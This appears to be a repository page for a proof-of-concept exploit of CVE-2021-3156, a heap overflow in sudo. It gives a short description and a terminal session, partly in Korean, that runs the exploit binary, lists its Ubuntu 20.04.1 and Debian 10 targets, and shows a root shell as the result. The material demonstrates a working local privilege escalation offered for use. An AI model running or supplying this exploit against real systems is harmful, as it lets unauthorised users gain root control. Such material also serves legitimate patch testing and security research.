teamtopkarl/cve-2021-3156Proof-of-concept exploit for CVE-2021-3156, a heap-based buffer overflow in sudo that allows local privilege escalation to root on Ubuntu 20.04 and Debian 10.
xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich
** CVE-2021-3156 PoC by blasty [email protected]
사용법: ./sudo-hax-me-a-sandwich
0) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31
1) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28
xchg@ubuntu:~/Desktop/CVE-2021-3156$ ./sudo-hax-me-a-sandwich 0
** CVE-2021-3156 PoC by blasty [email protected]
대상 사용: 'Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31' ** 루트 셸을 얻길 기원합니다.. ** [+] bl1ng bl1ng! 성공했습니다!
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(xchg)